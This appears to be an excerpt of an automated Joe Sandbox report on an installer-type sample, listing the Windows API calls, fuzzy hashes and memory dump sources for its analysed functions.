Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414982,0040CED0,004033DE,0040CED0,00414982,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 6FFB2993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6FFB505C,00000004,00000040,6FFB504C), ref: 6FFB29B1

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 485b0d38c25798146c45e02e3aeeb7674c1c6eedea9d9305c57b34cfb2c2bad4
Instruction ID: 3ec5d19e238c64f18f7ab33e495a4d17df28c2896ce9b31001021e8194681ebe
Opcode Fuzzy Hash: 485b0d38c25798146c45e02e3aeeb7674c1c6eedea9d9305c57b34cfb2c2bad4
Instruction Fuzzy Hash: DDF0A5B0528A82DECB91DF2DD8C47093BF0BB1A3A4B18452EE148D6368E33D4064DB91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 6FFB121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FFB123B,?,6FFB12DF,00000019,6FFB11BE,-000000A0), ref: 6FFB1225

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 39d821b247f3cabf365ef29f40a8ef0fbf91e52e0d673c594dc9573536b2d504
Instruction ID: 6e8f9c2d1b628ef1774ba4d01b1bb86ae975db54d7cd098ba5de974734fca5ae
Opcode Fuzzy Hash: 39d821b247f3cabf365ef29f40a8ef0fbf91e52e0d673c594dc9573536b2d504
Instruction Fuzzy Hash: DBB01270A10400DFEE009F68CD86F343654F701351F084000F600C0394C12448208534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
(7B, xrefs: 0040494D
Call, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 6FFB1B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6FFB121B: GlobalAlloc.KERNELBASE(00000040,?,6FFB123B,?,6FFB12DF,00000019,6FFB11BE,-000000A0), ref: 6FFB1225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6FFB1C6B
lstrcpyW.KERNEL32(00000008,?), ref: 6FFB1CB3
lstrcpyW.KERNEL32(00000808,?), ref: 6FFB1CBD
GlobalFree.KERNEL32(00000000), ref: 6FFB1CD0
GlobalFree.KERNEL32(?), ref: 6FFB1DB2
GlobalFree.KERNEL32(?), ref: 6FFB1DB7
GlobalFree.KERNEL32(?), ref: 6FFB1DBC
GlobalFree.KERNEL32(00000000), ref: 6FFB1FA6
lstrcpyW.KERNEL32(?,?), ref: 6FFB2140
GetModuleHandleW.KERNEL32(00000008), ref: 6FFB21B5
LoadLibraryW.KERNEL32(00000008), ref: 6FFB21C6
GetProcAddress.KERNEL32(?,?), ref: 6FFB2220
lstrlenW.KERNEL32(00000808), ref: 6FFB223A

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: d39b569b36b1b2881c9bef4702005c0ea5076acc48c054e24ac267f8c1b4de3f
Instruction ID: a8d9629ea05cececf5abb02c919e98b821625306c56f886759d7eee778bc754e
Opcode Fuzzy Hash: d39b569b36b1b2881c9bef4702005c0ea5076acc48c054e24ac267f8c1b4de3f
Instruction Fuzzy Hash: 80228B72D1420ADADB11DFBAC9846EEB7F0FF0A315F10462ED165E7290E7B46A81CB50

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,?,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
